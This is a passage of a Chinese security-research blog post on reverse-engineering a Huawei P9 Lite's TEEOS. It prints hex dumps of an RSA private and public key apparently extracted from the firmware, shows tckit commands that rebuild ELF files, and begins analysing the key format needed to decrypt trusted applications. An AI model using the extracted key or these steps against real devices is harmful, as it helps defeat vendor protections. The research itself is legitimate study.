class="n">x76</span><span class="err">\</span><span class="n">xcb</span><span class="err">\</span><span class="n">xce</span><span class="err">\</span><span class="n">x2a</span><span class="err">\</span><span class="n">x12</span><span class="err">\</span><span class="n">x04</span><span class="err">\</span><span class="n">x23</span><span class="err">\</span><span class="n">xf7</span><span class="err">\</span><span class="n">x78</span><span class="err">\</span><span class="n">x89</span><span class="err">\</span><span class="n">xbe</span><span class="err">\</span><span class="n">x63</span><span class="err">\</span><span class="n">x5b</span><span class="err">\</span><span class="n">xa1</span><span class="err">\</span><span class="n">xd4</span><span class="err">\</span><span class="n">x0b</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">xb8</span><span class="err">\</span><span class="n">x78</span><span class="err">\</span><span class="n">x2a</span><span class="err">\</span><span class="n">x9c</span><span class="err">\</span><span class="n">xc3</span><span class="err">\</span><span class="n">xdd</span><span class="err">\</span><span class="n">xbf</span><span class="err">\</span><span class="n">xeb</span><span class="err">\</span><span class="n">xc2</span><span class="err">\</span><span class="n">xd1</span><span class="err">\</span><span class="n">x59</span><span class="err">\</span><span class="n">x53</span><span class="err">\</span><span class="n">x2b</span><span class="err">\</span><span class="n">x07</span><span class="err">\</span><span class="n">xaf</span><span class="err">\</span><span class="n">x45</span><span class="err">\</span><span class="n">x54</span><span class="err">\</span><span class="n">x90</span><span class="err">\</span><span class="n">x37</span><span class="err">\</span><span class="n">xae</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x7b</span><span class="err">\</span><span class="n">x24</span><span class="err">\</span><span class="n">x57</span><span class="err">\</span><span class="n">x42</span><span class="err">\</span><span class="n">x68</span><span class="err">\</span><span class="n">x44</span><span class="err">\</span><span class="n">x59</span><span class="err">\</span><span class="n">xce</span><span class="err">\</span><span class="n">x72</span><span class="err">\</span><span class="n">xe7</span><span class="err">\</span><span class="n">x68</span><span class="err">\</span><span class="n">xfc</span><span class="err">\</span><span class="n">x07</span><span class="err">\</span><span class="n">xae</span><span class="err">\</span><span class="n">xa7</span><span class="err">\</span><span class="n">xcd</span><span class="err">\</span><span class="n">xdb</span><span class="err">\</span><span class="n">x87</span><span class="err">\</span><span class="n">x9b</span><span class="err">\</span><span class="n">x4f</span><span class="err">\</span><span class="n">x3b</span><span class="err">\</span><span class="n">x8c</span><span class="err">\</span><span class="n">x49</span><span class="err">\</span><span class="n">xfe</span><span class="err">\</span><span class="n">xe2</span><span class="err">\</span><span class="n">x66</span><span class="err">\</span><span class="n">xbd</span><span class="err">\</span><span class="n">xc8</span><span class="err">\</span><span class="n">x77</span><span class="err">\</span><span class="n">x89</span><span class="err">\</span><span class="n">x0d</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">xba</span><span class="err">\</span><span class="n">x07</span><span class="err">\</span><span class="n">xac</span><span class="err">\</span><span class="n">x7a</span><span class="err">\</span><span class="n">x9f</span><span class="err">\</span><span class="n">xc0</span><span class="err">\</span><span class="n">x84</span><span class="err">\</span><span class="n">x25</span><span class="err">\</span><span class="n">xa8</span><span class="err">\</span><span class="n">x62</span><span class="err">\</span><span class="n">x66</span><span class="err">\</span><span class="n">x55</span><span class="err">\</span><span class="n">xf7</span><span class="err">\</span><span class="n">xae</span><span class="err">\</span><span class="n">x43</span><span class="err">\</span><span class="n">x68</span><span class="err">\</span><span class="n">x15</span><span class="err">\</span><span class="n">xe1</span><span class="err">\</span><span class="n">xcd</span><span class="err">\</span><span class="n">x66</span><span class="err">\</span><span class="n">x7f</span><span class="err">\</span><span class="n">x62</span><span class="err">\</span><span class="n">x77</span><span class="err">\</span><span class="n">x8f</span><span class="err">\</span><span class="n">xf2</span><span class="err">\</span><span class="n">xe2</span><span class="err">\</span><span class="n">x5e</span><span class="err">\</span><span class="n">x80</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x9a</span><span class="err">\</span><span class="n">x05</span><span class="err">\</span><span class="n">xe7</span><span class="err">\</span><span class="n">xdc</span><span class="err">\</span><span class="n">x63</span><span class="err">\</span><span class="n">xf7</span><span class="err">\</span><span class="n">x9f</span><span class="err">\</span><span class="n">xed</span><span class="err">\</span><span class="n">x24</span><span class="err">\</span><span class="n">xee</span><span class="err">\</span><span class="n">xef</span><span class="err">\</span><span class="n">xf6</span><span class="err">\</span><span class="n">x50</span><span class="err">\</span><span class="n">xad</span><span class="err">\</span><span class="n">x9d</span><span class="err">\</span><span class="n">x53</span><span class="err">\</span><span class="n">x32</span><span class="err">\</span><span class="n">x74</span><span class="err">\</span><span class="n">xb2</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x77</span><span class="err">\</span><span class="n">xc1</span><span class="err">\</span><span class="n">xdf</span><span class="err">\</span><span class="n">xe6</span><span class="err">\</span><span class="n">xf4</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">xc8</span><span class="err">\</span><span class="n">x4c</span><span class="err">\</span><span class="n">x95</span><span class="err">\</span><span class="n">xac</span><span class="err">\</span><span class="n">xfc</span><span class="err">\</span><span class="n">x68</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">x8a</span><span class="err">\</span><span class="n">x40</span><span class="err">\</span><span class="n">xf5</span><span class="err">\</span><span class="n">xe5</span><span class="err">\</span><span class="n">x99</span><span class="err">\</span><span class="n">xe8</span><span class="err">\</span><span class="n">x5d</span><span class="err">\</span><span class="n">x62</span><span class="err">\</span><span class="n">xf8</span><span class="err">\</span><span class="n">x6f</span><span class="err">\</span><span class="n">xe8</span><span class="err">\</span><span class="n">x4a</span><span class="err">\</span><span class="n">xa6</span><span class="err">\</span><span class="n">xe5</span><span class="err">\</span><span class="n">xc1</span><span class="err">\</span><span class="n">xbe</span><span class="err">\</span><span class="n">x72</span><span class="err">\</span><span class="n">xf1</span><span class="err">\</span><span class="n">x8a</span><span class="err">\</span><span class="n">x74</span><span class="err">\</span><span class="n">x7d</span><span class="err">\</span><span class="n">x76</span><span class="err">\</span><span class="n">x3b</span><span class="err">\</span><span class="n">xd3</span><span class="err">\</span><span class="n">xb8</span><span class="err">\</span><span class="n">x53</span><span class="err">\</span><span class="n">xdf</span><span class="err">\</span><span class="n">x20</span><span class="err">\</span><span class="n">x12</span><span class="err">\</span><span class="n">x35</span><span class="err">\</span><span class="n">x96</span><span class="err">\</span><span class="n">x29</span><span class="err">\</span><span class="n">x15</span><span class="err">\</span><span class="n">x30</span><span class="err">\</span><span class="n">x82</span><span class="err">\</span><span class="n">x19</span><span class="err">\</span><span class="n">xb6</span><span class="err">\</span><span class="n">x13</span><span class="err">\</span><span class="n">x89</span><span class="err">\</span><span class="n">x70</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">x08</span><span class="err">\</span><span class="n">xd7</span><span class="err">\</span><span class="n">x57</span><span class="err">\</span><span class="n">x76</span><span class="err">\</span><span class="n">x31</span><span class="err">\</span><span class="n">xae</span><span class="err">\</span><span class="n">xff</span><span class="err">\</span><span class="n">xe2</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">x5e</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">x58</span><span class="err">\</span><span class="n">x0d</span><span class="err">\</span><span class="n">xa8</span><span class="err">\</span><span class="n">x18</span><span class="err">\</span><span class="n">x26</span><span class="err">\</span><span class="n">x38</span><span class="err">\</span><span class="n">x58</span><span class="err">\</span><span class="n">x72</span><span class="err">\</span><span class="n">xfe</span><span class="err">\</span><span class="n">x2f</span><span class="err">\</span><span class="n">x11</span><span class="err">\</span><span class="n">xcc</span><span class="err">\</span><span class="n">xcd</span><span class="err">\</span><span class="n">xdd</span><span class="err">\</span><span class="n">x93</span><span class="err">\</span><span class="n">xbd</span><span class="err">\</span><span class="n">x60</span><span class="err">\</span><span class="n">x82</span><span class="err">\</span><span class="n">x33</span><span class="err">\</span><span class="n">x3e</span><span class="err">\</span><span class="n">x05</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">x4d</span><span class="err">\</span><span class="n">x52</span><span class="err">\</span><span class="n">x1a</span><span class="err">\</span><span class="n">xc5</span><span class="err">\</span><span class="n">x85</span><span class="err">\</span><span class="n">xc1</span><span class="err">\</span><span class="n">xef</span><span class="err">\</span><span class="n">x0a</span><span class="err">\</span><span class="n">xd6</span><span class="err">\</span><span class="n">x6c</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">x41</span><span class="err">\</span><span class="n">x21</span><span class="err">\</span><span class="n">xbc</span><span class="err">\</span><span class="n">xa3</span><span class="err">\</span><span class="n">x79</span><span class="err">\</span><span class="n">xea</span><span class="err">\</span><span class="n">x2e</span><span class="err">\</span><span class="n">xd1</span><span class="err">\</span><span class="n">x40</span><span class="err">\</span><span class="n">xd3</span><span class="err">\</span><span class="n">xcc</span><span class="err">\</span><span class="n">xd2</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">xb4</span><span class="err">\</span><span class="n">x05</span><span class="err">\</span><span class="n">x86</span><span class="err">\</span><span class="n">x91</span><span class="err">\</span><span class="n">x7a</span><span class="err">\</span><span class="n">x17</span><span class="err">\</span><span class="n">xf9</span><span class="err">\</span><span class="n">xc2</span><span class="err">\</span><span class="n">xd5</span><span class="err">\</span><span class="n">x40</span><span class="err">\</span><span class="n">x63</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">xe0</span><span class="err">\</span><span class="n">x60</span><span class="err">\</span><span class="n">xb8</span><span class="err">\</span><span class="n">xaa</span><span class="err">\</span><span class="n">x85</span><span class="err">\</span><span class="n">xc9</span><span class="err">\</span><span class="n">x3e</span><span class="err">\</span><span class="n">x83</span><span class="err">\</span><span class="n">x19</span><span class="err">\</span><span class="n">xca</span><span class="err">\</span><span class="n">xfe</span><span class="err">\</span><span class="n">x1c</span><span class="err">\</span><span class="n">xd9</span><span class="err">\</span><span class="n">x17</span><span class="err">\</span><span class="n">x3c</span><span class="err">\</span><span class="n">x4c</span><span class="err">\</span><span class="n">x51</span><span class="err">\</span><span class="n">xc1</span><span class="err">\</span><span class="n">xa0</span><span class="err">\</span><span class="n">xa0</span><span class="err">\</span><span class="n">xd3</span><span class="err">\</span><span class="n">xbd</span><span class="err">\</span><span class="n">x7f</span><span class="err">\</span><span class="n">xa5</span><span class="err">\</span><span class="n">xd1</span><span class="err">\</span><span class="n">x91</span><span class="err">\</span><span class="n">xec</span><span class="err">\</span><span class="n">x6d</span><span class="err">\</span><span class="n">x03</span><span class="err">\</span><span class="n">x8c</span><span class="err">\</span><span class="n">x80</span><span class="err">\</span><span class="n">x8d</span><span class="err">\</span><span class="n">xe6</span><span class="err">\</span><span class="n">x7f</span><span class="err">\</span><span class="n">xf5</span><span class="err">\</span><span class="n">x7f</span><span class="err">\</span><span class="n">xba</span><span class="err">'</span>
<span class="n">public_key</span> <span class="o">=</span> <span class="err">'\</span><span class="n">xc4</span><span class="err">\</span><span class="n">x11</span><span class="err">\</span><span class="n">xcc</span><span class="err">\</span><span class="n">x98</span><span class="err">\</span><span class="n">xce</span><span class="err">\</span><span class="n">x92</span><span class="err">\</span><span class="n">x0d</span><span class="err">\</span><span class="n">x78</span><span class="err">\</span><span class="n">x7e</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">x7a</span><span class="err">\</span><span class="n">xa4</span><span class="err">\</span><span class="n">xff</span><span class="err">\</span><span class="n">x5f</span><span class="err">\</span><span class="n">x60</span><span class="err">\</span><span class="n">x82</span><span class="err">\</span><span class="n">xa9</span><span class="err">\</span><span class="n">x4d</span><span class="err">\</span><span class="n">xb5</span><span class="err">\</span><span class="n">xe7</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">x9d</span><span class="err">\</span><span class="n">xfd</span><span class="err">\</span><span class="n">x7d</span><span class="err">\</span><span class="n">xa7</span><span class="err">\</span><span class="n">xcf</span><span class="err">\</span><span class="n">xa3</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">x25</span><span class="err">\</span><span class="n">x83</span><span class="err">\</span><span class="n">xf5</span><span class="err">\</span><span class="n">x24</span><span class="err">\</span><span class="n">xf9</span><span class="err">\</span><span class="n">x31</span><span class="err">\</span><span class="n">x65</span><span class="err">\</span><span class="n">x5a</span><span class="err">\</span><span class="n">x5c</span><span class="err">\</span><span class="n">xea</span><span class="err">\</span><span class="n">xab</span><span class="err">\</span><span class="n">x88</span><span class="err">\</span><span class="n">xb9</span><span class="err">\</span><span class="n">x1b</span><span class="err">\</span><span class="n">x94</span><span class="err">\</span><span class="n">xc8</span><span class="err">\</span><span class="n">x5a</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">x44</span><span class="err">\</span><span class="n">x4e</span><span class="err">\</span><span class="n">x17</span><span class="err">\</span><span class="n">x50</span><span class="err">\</span><span class="n">x76</span><span class="err">\</span><span class="n">xa5</span><span class="err">\</span><span class="n">xa4</span><span class="err">\</span><span class="n">x39</span><span class="err">\</span><span class="n">xdd</span><span class="err">\</span><span class="n">x79</span><span class="err">\</span><span class="n">x5b</span><span class="err">\</span><span class="n">xf4</span><span class="err">\</span><span class="n">xcc</span><span class="err">\</span><span class="n">xd0</span><span class="err">\</span><span class="n">x11</span><span class="err">\</span><span class="n">xb8</span><span class="err">\</span><span class="n">x52</span><span class="err">\</span><span class="n">xe0</span><span class="err">\</span><span class="n">x8d</span><span class="err">\</span><span class="n">x4f</span><span class="err">\</span><span class="n">x49</span><span class="err">\</span><span class="n">xd4</span><span class="err">\</span><span class="n">x6b</span><span class="err">\</span><span class="n">xb8</span><span class="err">\</span><span class="n">x5b</span><span class="err">\</span><span class="n">x4a</span><span class="err">\</span><span class="n">xdf</span><span class="err">\</span><span class="n">x51</span><span class="err">\</span><span class="n">x53</span><span class="err">\</span><span class="n">xef</span><span class="err">\</span><span class="n">x61</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">xc4</span><span class="err">\</span><span class="n">x43</span><span class="err">\</span><span class="n">xe1</span><span class="err">\</span><span class="n">xfd</span><span class="err">\</span><span class="n">x8c</span><span class="err">\</span><span class="n">x18</span><span class="err">\</span><span class="n">x9a</span><span class="err">\</span><span class="n">x3f</span><span class="err">\</span><span class="n">x45</span><span class="err">\</span><span class="n">x11</span><span class="err">\</span><span class="n">x69</span><span class="err">\</span><span class="n">x31</span><span class="err">\</span><span class="n">xb4</span><span class="err">\</span><span class="n">x9c</span><span class="err">\</span><span class="n">x2c</span><span class="err">\</span><span class="n">x2f</span><span class="err">\</span><span class="n">xdb</span><span class="err">\</span><span class="n">x5a</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x09</span><span class="err">\</span><span class="n">x4d</span><span class="err">\</span><span class="n">x99</span><span class="err">\</span><span class="n">xf5</span><span class="err">\</span><span class="n">xdc</span><span class="err">\</span><span class="n">x95</span><span class="err">\</span><span class="n">x34</span><span class="err">\</span><span class="n">xde</span><span class="err">\</span><span class="n">x1a</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">x34</span><span class="err">\</span><span class="n">xd7</span><span class="err">\</span><span class="n">xbf</span><span class="err">\</span><span class="n">x86</span><span class="err">\</span><span class="n">x27</span><span class="err">\</span><span class="n">xce</span><span class="err">\</span><span class="n">x94</span><span class="err">\</span><span class="n">x4f</span><span class="err">\</span><span class="n">xc8</span><span class="err">\</span><span class="n">x03</span><span class="err">\</span><span class="n">xd1</span><span class="err">\</span><span class="n">x47</span><span class="err">\</span><span class="n">x24</span><span class="err">\</span><span class="n">x02</span><span class="err">\</span><span class="n">x8e</span><span class="err">\</span><span class="n">x49</span><span class="err">\</span><span class="n">x0b</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">xe6</span><span class="err">\</span><span class="n">x82</span><span class="err">\</span><span class="n">x42</span><span class="err">\</span><span class="n">xf9</span><span class="err">\</span><span class="n">xa7</span><span class="err">\</span><span class="n">x1b</span><span class="err">\</span><span class="n">x85</span><span class="err">\</span><span class="n">x29</span><span class="err">\</span><span class="n">xb1</span><span class="err">\</span><span class="n">x90</span><span class="err">\</span><span class="n">x4e</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">xd0</span><span class="err">\</span><span class="n">x48</span><span class="err">\</span><span class="n">x4a</span><span class="err">\</span><span class="n">x56</span><span class="err">\</span><span class="n">x63</span><span class="err">\</span><span class="n">xee</span><span class="err">\</span><span class="n">x93</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">x9d</span><span class="err">\</span><span class="n">x25</span><span class="err">\</span><span class="n">xbc</span><span class="err">\</span><span class="n">x02</span><span class="err">\</span><span class="n">xa0</span><span class="err">\</span><span class="n">x23</span><span class="err">\</span><span class="n">x55</span><span class="err">\</span><span class="n">xe6</span><span class="err">\</span><span class="n">xd4</span><span class="err">\</span><span class="n">x67</span><span class="err">\</span><span class="n">xa0</span><span class="err">\</span><span class="n">x76</span><span class="err">\</span><span class="n">x22</span><span class="err">\</span><span class="n">x23</span><span class="err">\</span><span class="n">x8b</span><span class="err">\</span><span class="n">x5a</span><span class="err">\</span><span class="n">x7b</span><span class="err">\</span><span class="n">x4d</span><span class="err">\</span><span class="n">x24</span><span class="err">\</span><span class="n">x7a</span><span class="err">\</span><span class="n">x28</span><span class="err">\</span><span class="n">x71</span><span class="err">\</span><span class="n">x83</span><span class="err">\</span><span class="n">x4c</span><span class="err">\</span><span class="n">xc0</span><span class="err">\</span><span class="n">xa1</span><span class="err">\</span><span class="n">x28</span><span class="err">\</span><span class="n">x9c</span><span class="err">\</span><span class="n">x14</span><span class="err">\</span><span class="n">x45</span><span class="err">\</span><span class="n">x47</span><span class="err">\</span><span class="n">x75</span><span class="err">\</span><span class="n">xdb</span><span class="err">\</span><span class="n">x12</span><span class="err">\</span><span class="n">x42</span><span class="err">\</span><span class="n">xfd</span><span class="err">\</span><span class="n">x94</span><span class="err">\</span><span class="n">x05</span><span class="err">\</span><span class="n">xc6</span><span class="err">\</span><span class="n">xa3</span><span class="err">\</span><span class="n">xb9</span><span class="err">\</span><span class="n">xcc</span><span class="err">\</span><span class="n">xf7</span><span class="err">\</span><span class="n">x48</span><span class="err">\</span><span class="n">x8c</span><span class="err">\</span><span class="n">xe9</span><span class="err">\</span><span class="n">x55</span><span class="err">\</span><span class="n">xac</span><span class="err">\</span><span class="n">x1f</span><span class="err">\</span><span class="n">x01</span><span class="err">\</span><span class="n">xca</span><span class="err">\</span><span class="n">x6b</span><span class="err">\</span><span class="n">xc5</span><span class="err">\</span><span class="n">xe5</span><span class="err">\</span><span class="n">x1c</span><span class="err">\</span><span class="n">xa8</span><span class="err">\</span><span class="n">xf4</span><span class="err">\</span><span class="n">xc7</span><span class="err">\</span><span class="n">x09</span><span class="err">\</span><span class="n">x7d</span><span class="err">\</span><span class="n">x5b</span><span class="err">\</span><span class="n">x4b</span><span class="err">\</span><span class="n">x2c</span><span class="err">\</span><span class="n">x1d</span><span class="err">\</span><span class="n">xcb</span><span class="err">\</span><span class="n">xc5</span><span class="err">\</span><span class="n">x4e</span><span class="err">\</span><span class="n">x12</span><span class="err">\</span><span class="n">xfb</span><span class="err">\</span><span class="n">x46</span><span class="err">\</span><span class="n">x76</span><span class="err">\</span><span class="n">x23</span><span class="err">\</span><span class="n">xb2</span><span class="err">\</span><span class="n">x58</span><span class="err">\</span><span class="n">x94</span><span class="err">\</span><span class="n">x4b</span><span class="err">\</span><span class="n">x7b</span><span class="err">\</span><span class="n">x66</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">xbb</span><span class="err">\</span><span class="n">x18</span><span class="err">\</span><span class="n">x8b</span><span class="err">\</span><span class="n">x7e</span><span class="err">\</span><span class="n">x10</span><span class="err">\</span><span class="n">x3c</span><span class="err">\</span><span class="n">xbc</span><span class="err">\</span><span class="n">x2d</span><span class="err">\</span><span class="n">xd8</span><span class="err">\</span><span class="n">x1d</span><span class="err">\</span><span class="n">x0d</span><span class="err">\</span><span class="n">xa2</span><span class="err">\</span><span class="n">x7b</span><span class="err">\</span><span class="n">x60</span><span class="err">\</span><span class="n">xa6</span><span class="err">\</span><span class="n">xb9</span><span class="err">\</span><span class="n">x1a</span><span class="err">\</span><span class="n">x20</span><span class="err">\</span><span class="n">x40</span><span class="err">\</span><span class="n">x96</span><span class="err">\</span><span class="n">xa2</span><span class="err">\</span><span class="n">x01</span><span class="err">\</span><span class="n">xc9</span><span class="err">\</span><span class="n">x09</span><span class="err">\</span><span class="n">x06</span><span class="err">\</span><span class="n">xe6</span><span class="err">\</span><span class="n">xb6</span><span class="err">\</span><span class="n">xb0</span><span class="err">\</span><span class="n">x7f</span><span class="err">\</span><span class="n">x44</span><span class="err">\</span><span class="n">xa3</span><span class="err">\</span><span class="n">xa9</span><span class="err">\</span><span class="n">x01</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x01</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">\</span><span class="n">x00</span><span class="err">'</span>
</code></pre></div></div>
<p>私钥的解析以及后续的解密TA,需要逆向globaltask以及TEEOS本身,可以使用globaltask2elf.py恢复globaltask的ELF结构:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python2</span> <span class="n">tckit</span><span class="o">/</span><span class="n">globaltask2elf</span><span class="p">.</span><span class="n">py</span> <span class="p">.</span><span class="o">/</span><span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask</span>
<span class="err">➜</span> <span class="n">file</span> <span class="p">.</span><span class="o">/</span><span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask</span><span class="p">.</span><span class="n">elf</span>
<span class="n">globaltask</span><span class="p">.</span><span class="n">elf</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">32</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">executable</span><span class="p">,</span> <span class="n">ARM</span><span class="p">,</span> <span class="n">EABI5</span> <span class="n">version</span> <span class="mi">1</span> <span class="p">(</span><span class="n">SYSV</span><span class="p">),</span> <span class="n">statically</span> <span class="n">linked</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
</code></pre></div></div>
<p>以及使用tos2elf.py恢复TEEOS的ELF结构:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python2</span> <span class="n">tckit</span><span class="o">/</span><span class="n">tos2elf</span><span class="p">.</span><span class="n">py</span> <span class="p">.</span><span class="o">/</span><span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="n">file</span> <span class="n">Rtosck</span>
<span class="n">Rtosck</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">32</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">executable</span><span class="p">,</span> <span class="n">ARM</span><span class="p">,</span> <span class="n">EABI5</span> <span class="n">version</span> <span class="mi">1</span> <span class="p">(</span><span class="n">SYSV</span><span class="p">),</span> <span class="n">no</span> <span class="n">program</span> <span class="n">header</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
</code></pre></div></div>
<p>接下来就对这两个ELF进行逆向,主要是globaltask.elf:</p>
<ul>
<li><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/globaltask.elf">globaltask.elf</a></li>
<li><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/Rtosck">Rtosck</a></li>
</ul>
<h2 id="rsa私钥解析">RSA私钥解析</h2>
<p>根据作者PPT,可以确定QEMU运行打印出的两个密钥中第一个私钥(x)为解密TA所需要的关键密钥:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/two_key.png" alt="image" /></p>
<p>但对于这个RSA的私钥解析,可以看出来这里的打印的公私钥没有什么openssl的格式,也就不是标准格式公私钥数据,所以猜测其打印的数据就是p、q、n、e、d等RSA相关数据,因此需要逆向分析解析私钥的代码。</p>
<h3 id="猜测格式">猜测格式</h3>
<p>但这里的密钥数据其实也直接可以通过公私钥的特性猜出来(就当CTF做),首先可以将私钥数据保存成二进制文件方便查看:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'private_key.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">private_key</span><span class="p">)</span>
</code></pre></div></div>
<p>使用010editor对私钥数据相面,可以看出来其长度总共0x140字节:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/private_key.jpeg" alt="image" /></p>
<p>对于RSA的私钥,在理论上一般表达为以下两种:</p>
<ul>
<li>n、d</li>
<li>p、q、dp、dq、qinv (中国剩余定理优化的RSA计算 RSA-CRT)</li>
</ul>
<p>关于RSA的中国剩余定理:</p>
<ul>
<li><a href="https://blog.csdn.net/qq_43589852/article/details/127691919">RSA-CRT 使用中国剩余定理CRT对RSA算法进行解密</a></li>
